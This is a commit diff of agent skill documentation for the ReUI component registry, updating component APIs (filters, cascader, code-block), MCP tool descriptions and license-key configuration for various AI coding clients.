Compare commits
39
Commits
4ee78032c4
..
v1.4.0
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
aa475848fd | ||
|
|
5d767e4341 | ||
|
|
f4259246d0 | ||
|
|
269f94edcf | ||
|
|
10b5bbc9cf | ||
|
|
8524a25373 | ||
|
|
08c01b3cdd | ||
|
|
27c1ba7e23 | ||
|
|
19af67f8a3 | ||
|
|
8a8ea95da6 | ||
|
|
65434857bb | ||
|
|
3d4edbad8b | ||
|
|
28f1f35f16 | ||
|
|
0b426fa7ae | ||
|
|
98e4dcdefb | ||
|
|
0f7daf77e3 | ||
|
|
a0f0bff65a | ||
|
|
75661f7443 | ||
|
|
15b5cce8cc | ||
|
|
3dc8e6d5e2 | ||
|
|
7a3f1fad25 | ||
|
|
454c5009d1 | ||
|
|
40030ce06c | ||
|
|
45812fef6a | ||
|
|
a55dc676b9 | ||
|
|
4fedf83078 | ||
|
|
9121cbe842 | ||
|
|
ecaa22ed97 | ||
|
|
6dc5fb5f3b | ||
|
|
1afa07053a | ||
|
|
a2ad637a38 | ||
|
|
d552f4f326 | ||
|
|
ef2a333430 | ||
|
|
bfaed511bd | ||
|
|
43f5ac2525 | ||
|
|
c5069fbdaf | ||
|
|
402182195f | ||
|
|
3815575799 | ||
|
|
ee3429b747 |
No files matched your search
@@ -1,19 +1,20 @@
|
||||
---
|
||||
name: reui
|
||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 20 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
||||
user-invocable: false
|
||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 22 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
||||
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
||||
metadata:
|
||||
user-invocable: "false"
|
||||
---
|
||||
|
||||
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
> **ReUI skill version `d9f4a302f4`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
|
||||
# ReUI for Agents
|
||||
|
||||
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
||||
|
||||
- **components** - the 20 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||
- **components** - the 22 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
||||
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
|
||||
- **blocks** - premium full-page sections that compose components (`data-grid-base-2`, `settings-2`); Pro or Ultimate license at install
|
||||
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
||||
|
||||
The skill is free and this MCP is free to use; it just needs a ReUI account. On first use your agent opens a browser "Sign in with ReUI" prompt (a free account is created if you don't have one). Free covers components and examples with a daily request allowance; a Pro or Ultimate license unlocks premium blocks and Motion Icons and removes the limit (see [rules/registry.md](./rules/registry.md)). The same account and skill work in every agent and service the MCP connects to - this skill is agent-agnostic.
|
||||
@@ -58,7 +59,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
|
||||
|
||||
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
||||
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
||||
- [rules/components.md](./rules/components.md) - the 20 components, the data-grid contract, base vs radix
|
||||
- [rules/components.md](./rules/components.md) - the 22 components, the data-grid contract, base vs radix
|
||||
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
||||
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
||||
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
## Registry setup (one-time, per project)
|
||||
|
||||
Free items (the 20 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
||||
Free items (the 22 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
||||
|
||||
```json
|
||||
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
|
||||
@@ -29,9 +29,16 @@ REUI_LICENSE_KEY=your-license-key
|
||||
}
|
||||
```
|
||||
|
||||
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`, but an MCP client config never expands variables, so a ReUI MCP server config must carry the raw token instead (for example `reui_pat_your_token_here`).
|
||||
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`. MCP client configs expand environment variables too, but each client has its OWN syntax, so wire the ReUI MCP server with the form that client understands:
|
||||
|
||||
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry
|
||||
- Claude Code (`.mcp.json`, `~/.claude.json`): `"Authorization": "Bearer ${REUI_LICENSE_KEY}"`
|
||||
- Cursor (`.cursor/mcp.json`) and VS Code: `"Authorization": "Bearer ${env:REUI_LICENSE_KEY}"`
|
||||
- OpenCode (`opencode.json`): `"Authorization": "Bearer {env:REUI_LICENSE_KEY}"`
|
||||
- Codex (`~/.codex/config.toml`): `bearer_token_env_var = "REUI_LICENSE_KEY"` - Codex reads the variable itself, so there is no header to write
|
||||
|
||||
Only a client with no interpolation at all needs the raw `reui_pat_...` token, and then only in a file that is never committed. Copying the `components.json` form into a client that does not expand it is the common failure: the literal `${REUI_LICENSE_KEY}` placeholder is sent to the server as the credential and every call comes back 401.
|
||||
|
||||
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry?ref=skill
|
||||
|
||||
## Installing
|
||||
|
||||
@@ -54,7 +61,7 @@ bunx --bun shadcn@latest add @reui/<name> --yes # bun
|
||||
|
||||
## Free vs premium boundary
|
||||
|
||||
- Public, no key: `c-*` examples and the 20 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
||||
- Public, no key: `c-*` examples and the 22 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
||||
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
|
||||
|
||||
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade).
|
||||
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account?ref=skill (their key) or https://reui.io/pricing?ref=skill (upgrade).
|
||||
@@ -1,8 +1,8 @@
|
||||
# ReUI components
|
||||
|
||||
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
The 22 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `code-block`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
|
||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the deeper reference. Do not assume you received all of it: a very large API (`cascader`, `filters`, `data-grid`) is trimmed on heading boundaries to fit your context, and every dropped heading is named in `sectionsOmitted`, so a trimmed capsule is a partial read - follow the response's own `next` hint to pull back the part you need instead of guessing at it. `validate_usage` always checks the FULL API, trimmed capsule or not. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||
|
||||
## data-grid (the flagship - read its API every time)
|
||||
|
||||
@@ -106,22 +106,60 @@ Common mistakes:
|
||||
|
||||
## filters
|
||||
|
||||
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
|
||||
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
const [filters, setFilters] = useState<Filter[]>([
|
||||
createFilter("priority", "is_any_of", ["low"]),
|
||||
])
|
||||
const fields: FilterFieldConfig[] = [
|
||||
{ key: "priority", label: "Priority", type: "multiselect",
|
||||
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
|
||||
const fields: FilterField[] = [
|
||||
{ id: "title", label: "Title", type: "text" },
|
||||
{
|
||||
id: "status",
|
||||
label: "Status",
|
||||
type: "select",
|
||||
options: [
|
||||
{ value: "active", label: "Active" },
|
||||
{ value: "archived", label: "Archived" },
|
||||
],
|
||||
},
|
||||
]
|
||||
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
|
||||
|
||||
<Filters filters={filters} fields={fields} onChange={setFilters} />
|
||||
<Filters fields={fields} query={query} onQueryChange={setQuery} />
|
||||
```
|
||||
|
||||
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
|
||||
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
|
||||
|
||||
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
|
||||
|
||||
## cascader
|
||||
|
||||
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
<Cascader items={items} value={value} onValueChange={setValue}>
|
||||
<CascaderTrigger render={<Button variant="outline" />}>
|
||||
<CascaderValue placeholder="Select an attribute" />
|
||||
</CascaderTrigger>
|
||||
<CascaderContent className="w-80">
|
||||
<CascaderPanel>
|
||||
<CascaderNav>
|
||||
<CascaderBreadcrumb />
|
||||
<CascaderInput />
|
||||
</CascaderNav>
|
||||
<CascaderEmpty />
|
||||
<CascaderList maxHeight={288}>
|
||||
<CascaderItems />
|
||||
</CascaderList>
|
||||
<CascaderStatus />
|
||||
</CascaderPanel>
|
||||
</CascaderContent>
|
||||
</Cascader>
|
||||
```
|
||||
|
||||
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
|
||||
|
||||
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
|
||||
|
||||
## date-selector
|
||||
|
||||
@@ -324,6 +362,26 @@ const [value, setValue] = useState<DateSelectorValue | undefined>()
|
||||
|
||||
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
|
||||
|
||||
## code-block
|
||||
|
||||
**Required:** `code` + `language`, or pre-highlighted `lines`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
<CodeBlock code={code} language="tsx" />
|
||||
|
||||
<CodeBlock code={code} language="tsx" showLineNumbers maxLines={20}>
|
||||
<CodeBlockHeader>
|
||||
<CodeBlockTitle>use-totals.ts</CodeBlockTitle>
|
||||
<CodeBlockLanguage />
|
||||
<CodeBlockCopyButton className="ml-auto" />
|
||||
</CodeBlockHeader>
|
||||
<CodeBlockExpandButton />
|
||||
</CodeBlock>
|
||||
```
|
||||
|
||||
**Gotcha:** the one-liner is already a complete block; every child (header, title, language label, copy button, wrap toggle, expand button, line actions) is optional chrome, at any depth. Shiki is the only npm dependency and loads lazily, one chunk per language, on first highlight; `lines` (from `highlightCode` in `code-block-highlight`, which is server-safe and has no `"use client"`) or `highlight={false}` loads nothing at all. `maxLines` caps the height AND marks the block collapsible, which is what makes `CodeBlockExpandButton` appear. Use `variant="ghost"` when the block sits inside a surface that already has a border.
|
||||
|
||||
## alert
|
||||
|
||||
**Required:** `Alert` > `AlertTitle`
|
||||
|
||||
@@ -27,7 +27,7 @@ npx shadcn@latest add @reui/icons/default/<style>/<name> --yes # static
|
||||
npx shadcn@latest add @reui/icons/animated/<style>/<name> --yes # hover-animated (motion/react)
|
||||
```
|
||||
|
||||
Finding them via the MCP is free; installing requires an Ultimate license (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
||||
Motion Icons need an Ultimate license for **both discovery and install** (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Without it `search_icons` comes back `locked` with no results and `search` returns no icons at all, so check the plan before you promise the user icons: on a free or Pro account, use the project's own `iconLibrary` instead. Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
||||
|
||||
Finding icons:
|
||||
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
|
||||
|
||||
- **component** - one of the 20 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
||||
- **component** - one of the 22 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
||||
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
|
||||
- **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
||||
- **block** - a premium, full-page section that composes several components (`data-grid-base-2`, `settings-2`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
||||
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
|
||||
|
||||
## The @reui registry
|
||||
@@ -27,7 +27,7 @@ Blocks adapt to your active theme through semantic tokens and CSS variables - ch
|
||||
|
||||
## Free vs premium
|
||||
|
||||
- **Free, no key:** the 20 components, all `c-*` examples, the ReUI MCP, and this skill.
|
||||
- **Free, no license key:** the 22 components, all `c-*` examples, and this skill. The MCP is free too but still needs a free ReUI account (the agent signs in on first use); a license key is only for premium installs.
|
||||
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
|
||||
|
||||
## Component API index
|
||||
|
||||
@@ -4,11 +4,11 @@ The core ReUI loop. The MCP tells you what to install and gives you the API; the
|
||||
|
||||
## 1. Find (ReUI MCP `search` / `compose_page`)
|
||||
|
||||
**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
||||
**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); on a free account it answers `mode: "free"` and fills the same sections with free `c-*` examples instead, so the plan is always buildable. Sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
||||
|
||||
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
|
||||
|
||||
- `type`: `"component"` (one of the 20 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
||||
- `type`: `"component"` (one of the 22 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
||||
- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
|
||||
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
|
||||
|
||||
@@ -16,7 +16,9 @@ Example: "build a users management page with filters" -> `search({ query: "users
|
||||
|
||||
Each result has `install`, `previewUrl`, `docsUrl`, `componentsUsed`, `score`, `termCoverage`, and `whyMatch`. `score` is relative to the top hit (the top is ~100 by construction), not an absolute quality - compare results to each other, and show the user the top options if several score closely; do not silently guess. A low `termCoverage` means a weak match even with a high score - rephrase or widen.
|
||||
|
||||
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick.
|
||||
Results are scoped to the account's plan, so you are never shown an item the user could not install: blocks need Pro, Motion Icons need Ultimate. A `type` hint the plan cannot use (or a query whose only matches are premium) comes back as a normal HTTP 200 answer with `locked: true` and `requiredPlan` rather than results - that is a paywall, not a missing item, so switch to free components and `c-*` examples and mention https://reui.io/pricing?ref=skill.
|
||||
|
||||
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick. Where a result carries `thumbnail` (blocks and `c-*` examples), show the image itself as markdown linked to `previewUrl`, so the user sees the block before you install it.
|
||||
|
||||
## 2. Install (shadcn CLI)
|
||||
|
||||
@@ -32,7 +34,7 @@ The CLI reads `components.json`, installs the correct base+style variant, resolv
|
||||
|
||||
Before writing code against any component an item uses:
|
||||
|
||||
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the full API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
||||
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the deeper API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. A very large API is trimmed on heading boundaries to fit your context and lists what it dropped in `sectionsOmitted`; when the part you need is in that list, re-read it as the response's `next` hint says rather than guessing. `validate_usage` always checks the FULL API, so it still catches a prop you invented from a trimmed capsule. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
||||
2. Call **`get_examples(name)`** for the free `c-*` examples of that component; install one and **read the added files** to copy the exact composition. This is the fastest correct path - the example shows real wiring you adapt, not invent.
|
||||
3. About to write a prop you did not see in an `api` or installed file? Run **`validate_usage`** BEFORE writing the code - per-prop documented / notDocumented verdicts plus did-you-mean suggestions. notDocumented means read the API, not push on.
|
||||
|
||||
|
||||
@@ -16,15 +16,15 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
||||
|
||||
## The 5 task-specific tools (when to reach for each)
|
||||
|
||||
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
||||
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant.
|
||||
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). On a free account (or in free-only mode) it answers with `mode: "free"` and composes the same sections from free `c-*` examples instead, so the plan is always buildable. Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
||||
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant. Motion Icons are Ultimate for **discovery as well as install**: without an Ultimate credential this returns `locked: true` and zero concepts, so check the plan before promising the user icons.
|
||||
- **`validate_usage`** - BEFORE writing code with component names or props you have not read in an inline `api` or an installed example. It checks planned names + props against the indexed API docs and registry item names; returns did-you-mean suggestions and per-prop documented / notDocumented verdicts. Deterministic, no inference - a notDocumented prop means stop and read the API, not push on.
|
||||
- **`whats_new`** - when your registry knowledge might be stale (a name 404s, the user mentions an item you don't know). Returns items added/removed per build, newest first.
|
||||
- **`report_issue`** - when an installed item is actually broken (bad source, wrong dependency, broken preview). Goes straight to the ReUI team; rate-limited 5/hour. Not for usage questions.
|
||||
- **`get_thumbnail`** - when the choice is VISUAL and the ranking has not already made it: 2 or more candidates within about 15 score points. When the top hit leads by a wide margin, or `missedTerms` already rules the others out, skip it; an image costs roughly 10 times a result row. It returns the hosted preview image as image content so you can look yourself; pass up to 4 names in one call to compare `compose_page` alternates side by side before installing any of them. To let the USER see something, share the item's `thumbnail` and `previewUrl` instead - this tool is for your own eyes, and a client that cannot render images gets the URLs in the text block.
|
||||
- **`get_agent_skill`** - when the agent has no local ReUI skill (a cloud or tools-only client), or to check whether the installed one is stale: it returns the current workflow inline plus the installer command, and its `version` can be compared with the version stamped at the top of your local `SKILL.md`.
|
||||
|
||||
## All 19 tools
|
||||
|
||||
`search`, `get_block`, `get_example`, `get_icon`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `whats_new`, `report_issue`, `get_install_command`, `get_project_context`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
||||
`search`, `get_block`, `get_example`, `get_icon`, `get_thumbnail`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `get_install_command`, `get_project_context`, `get_agent_skill`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
||||
|
||||
## Token + speed rules
|
||||
|
||||
@@ -41,18 +41,24 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
||||
- `termCoverage` (0-1) is the share of the query the item matched - low means a weak match even if the score looks high; rephrase or widen the search.
|
||||
- Each result carries `whyMatch`, `install`, docs/preview URLs, and a `free` flag; premium items carry `requiredPlan` (`"pro"` for blocks, `"ultimate"` for icons).
|
||||
- `componentDigests` is a top-level map: a compact API contract per referenced component - often enough to wire an item without a `get_component` call.
|
||||
- An inline `api` is not always the whole API: a very large one is trimmed on heading boundaries to fit your context, and the response names every dropped heading in `sectionsOmitted` plus a `next` hint for re-reading one. Never treat a trimmed capsule as complete; `validate_usage` still checks the FULL API.
|
||||
- Icon results and `get_icon` include `animated: true` and `installAnimated` when a hover-animated Motion variant exists (animated: `@reui/icons/animated/<style>/<name>`; static: `@reui/icons/default/<style>/<name>`).
|
||||
- Blocks and `c-*` examples carry `thumbnail`, an absolute URL to a hosted preview image (3:2; blocks 1080x720, examples 900x600, light theme). Show the top 2 or 3 as markdown images linked to `previewUrl` so the user picks by eye; use `get_thumbnail` when YOU need to see them. Components and icons have no thumbnail.
|
||||
- Each result carries `missedTerms`, the words from YOUR query it does not mention (omitted when it matches them all). A high score with 3 missed words is a near miss wearing a good score: read this before `get_thumbnail`, it is far cheaper.
|
||||
- `weakMatch: true` means the top result misses more of the query's words than it matches; `unmatchedTerms` lists the words none of the top results mention and `weakMatchNote` says what to do. Stop and re-search with the registry's own words, or compose from components, instead of installing the top hit.
|
||||
- On a free account `premiumPicks` (a sibling of `results`, never inside it) lists up to 3 premium blocks that fit the query more closely than the free answer, as previews with no install command, plus `unlock` with the plan and a pricing link. Mention the upgrade at most once per conversation, then keep building with what the plan covers. `weakMatch` and `premiumPicks` can appear together: the free answer is weak AND a premium block fits; `weakMatchNote` says so.
|
||||
- Results are scoped to the caller's plan, so a free account never sees a block or icon it could not install. When a search matches only hidden premium items, the answer says so (`locked`, `requiredPlan`, `premiumMatches`) instead of pretending the registry is empty.
|
||||
|
||||
## Error playbook
|
||||
|
||||
- **401** - the MCP requires a signed-in ReUI account. The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp) as `Authorization: Bearer`.
|
||||
- **403 / locked result** - a valid account but the plan does not cover the item: premium blocks need Pro, Motion Icons need Ultimate. Point to https://reui.io/pricing (upgrade). Free accounts still get all components + examples.
|
||||
- **429** - rate limited (120 requests/min per IP); back off, honor `Retry-After`.
|
||||
- **not found** (`found: false`) - use the returned `suggestions`, or `search`; check `whats_new` if you suspect a stale name. Never run a fabricated install command.
|
||||
- **401** - the MCP requires a signed-in ReUI account, on every request (there is no anonymous access). The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp?ref=skill) as `Authorization: Bearer`.
|
||||
